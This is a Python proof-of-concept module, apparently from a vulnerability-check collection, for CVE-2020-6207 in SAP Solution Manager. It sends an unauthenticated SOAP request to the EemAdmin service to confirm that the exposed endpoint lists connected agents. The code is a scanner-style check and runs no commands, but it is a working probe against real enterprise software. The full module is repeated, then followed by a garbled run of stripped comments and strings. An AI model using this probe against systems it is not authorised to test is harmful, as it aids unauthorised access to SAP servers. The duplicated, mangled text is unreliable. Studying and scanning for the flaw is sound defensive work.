<reponame>hjyuan/reapoc
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''SAP Solution Manager remote unauthorized OS commands execution''',
        "description": '''SAP Solution Manager (SolMan) running version 7.2 has CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem). The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent.''',
        "severity": "critical",
        "references": [
            "https://launchpad.support.sap.com/#/notes/2890213", 
            "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=540935305", 
            "https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf", 
            "https://github.com/chipik/SAP_EEM_CVE-2020-6207", 
            "https://www.rapid7.com/db/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce/", 
            "https://www.rapid7.com/db/modules/exploit/multi/sap/cve_2020_6207_solman_rs/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-6207",
            "cwe-id": "CWE-306"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "sap", "solman", "rce"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/EemAdminService/EemAdmin"""
        method = "POST"
        data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>"""
        headers = {'SOAPAction': '""', 'Content-Type': 'text/xml; charset=UTF-8', 'Connection': 'close'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (""":Envelope""" in resp0.text and """:Body""" in resp0.text and """:getAllAgentInfoResponse""" in resp0.text) and (resp0.status_code == 200) and ("""text/xml""" in str(resp0.headers) and """SAP NetWeaver Application Server""" in str(resp0.headers)):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''SAP Solution Manager remote unauthorized OS commands execution''',
        "description": '''SAP Solution Manager (SolMan) running version 7.2 has CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem). The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent.''',
        "severity": "critical",
        "references": [
            "https://launchpad.support.sap.com/#/notes/2890213", 
            "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=540935305", 
            "https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf", 
            "https://github.com/chipik/SAP_EEM_CVE-2020-6207", 
            "https://www.rapid7.com/db/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce/", 
            "https://www.rapid7.com/db/modules/exploit/multi/sap/cve_2020_6207_solman_rs/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-6207",
            "cwe-id": "CWE-306"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "sap", "solman", "rce"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/EemAdminService/EemAdmin"""
        method = "POST"
        data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>"""
        headers = {'SOAPAction': '""', 'Content-Type': 'text/xml; charset=UTF-8', 'Connection': 'close'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (""":Envelope""" in resp0.text and """:Body""" in resp0.text and """:getAllAgentInfoResponse""" in resp0.text) and (resp0.status_code == 200) and ("""text/xml""" in str(resp0.headers) and """SAP NetWeaver Application Server""" in str(resp0.headers)):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
# Vuln Base Info SAP Solution Manager remote unauthorized OS commands execution SAP Solution Manager (SolMan) running version 7.2 has CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem). The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent. #/notes/2890213", # Vender Fingerprint # Proof of Concept /EemAdminService/EemAdmin <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope> :Envelope :Body :getAllAgentInfoResponse text/xml SAP NetWeaver Application Server # Exploit, can be same with poc() # Utils